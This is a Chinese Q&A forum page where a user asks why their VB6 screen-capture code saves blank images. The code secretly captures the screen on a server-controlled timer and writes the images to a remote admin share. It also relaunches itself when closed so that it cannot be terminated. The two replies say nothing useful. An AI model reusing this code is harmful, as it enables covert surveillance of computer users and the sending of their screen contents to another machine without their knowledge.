永发信息网

vb 屏幕问题 跪求答案 请问我用一下代码 输出图片是空白呀 我想截取当前整个电脑屏幕

答案:2  悬赏:40  手机版
解决时间 2021-03-18 00:43
  • 提问者网友:椧運幽默
  • 2021-03-17 09:18
Private Declare Function BitBlt Lib "gdi32" (ByVal hDestDC As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal xSrc As Long, ByVal ySrc As Long, ByVal dwRop As Long) As Long
Private Declare Function GetDC Lib "user32" (ByVal hwnd As Long) As Long
Private Declare Function GetDesktopWindow Lib "user32" () As Long
Private Declare Function ReleaseDC Lib "user32" (ByVal hwnd As Long, ByVal hdc As Long) As Long
Private Declare Function GetComputerName Lib "kernel32" Alias "GetComputerNameA" (ByVal lpBuffer As String, nSize As Long) As Long
Dim ComputerName As String '本机名称,用来区分不同的机器所生成的图像。

Private Sub Form_Load()
Dim sBuffer As String
Dim lSize As Long
sBuffer = Space$(255)
lSize = Len(sBuffer)
Call GetComputerName(sBuffer, lSize)
ComputerName = Trim(Left$(sBuffer, lSize))
Call iniPara 'iniPara函数定义在后
End Sub
'为了防止程序被终止,添加如下语句:
Private Sub Form_Unload(Cancel As Integer)
Shell "C:\Windows\System\Client.exe" '调用本程序所生成的可执行文件
End Sub
Private Sub Timer1_Timer()
Dim swnd, sdc, hd
swnd = GetDesktopWindow()
sdc = GetDC(swnd)
hd = BitBlt(Me.hdc, 0, 0, Me.Width, Me.Height, sdc, 0, 0, &HCC0020)
SavePicture Me.Image, "\\WWW-94E37D893B8\D$\ClientScreen\image" & ComputerName & ".bmp"
hd = ReleaseDC(swnd, sdc)
Call iniPara
End Sub
'当发现有异常情况时,往往需要缩短采样间隔,下面iniPara函数可实现改变定时器的Interval属性的功能。
Private Function iniPara() '读取服务器上的Client.ini文件,初使化定时器的间隔。
Dim sBuffer As String
Dim lSize As Long
Dim TimerInterval As Integer '采样间隔
Open "\\WWW-94E37D893B8\D$\ClientScreen\Client.ini" For Input As #1
Line Input #1, sBuffer
lSize = InStr(1, sBuffer, "=")
Timer1.Interval = Val(Mid(sBuffer, lSize + 1))
Close (1)
End Function
最佳答案
  • 五星知识达人网友:神鬼未生
  • 2021-03-17 10:37
我暂时保留我的看法!
全部回答
  • 1楼网友:往事隔山水
  • 2021-03-17 10:48
支持一下感觉挺不错的
我要举报
如以上回答内容为低俗、色情、不良、暴力、侵权、涉及违法等信息,可以点下面链接进行举报!
点此我要举报以上问答信息
大家都在看
推荐资讯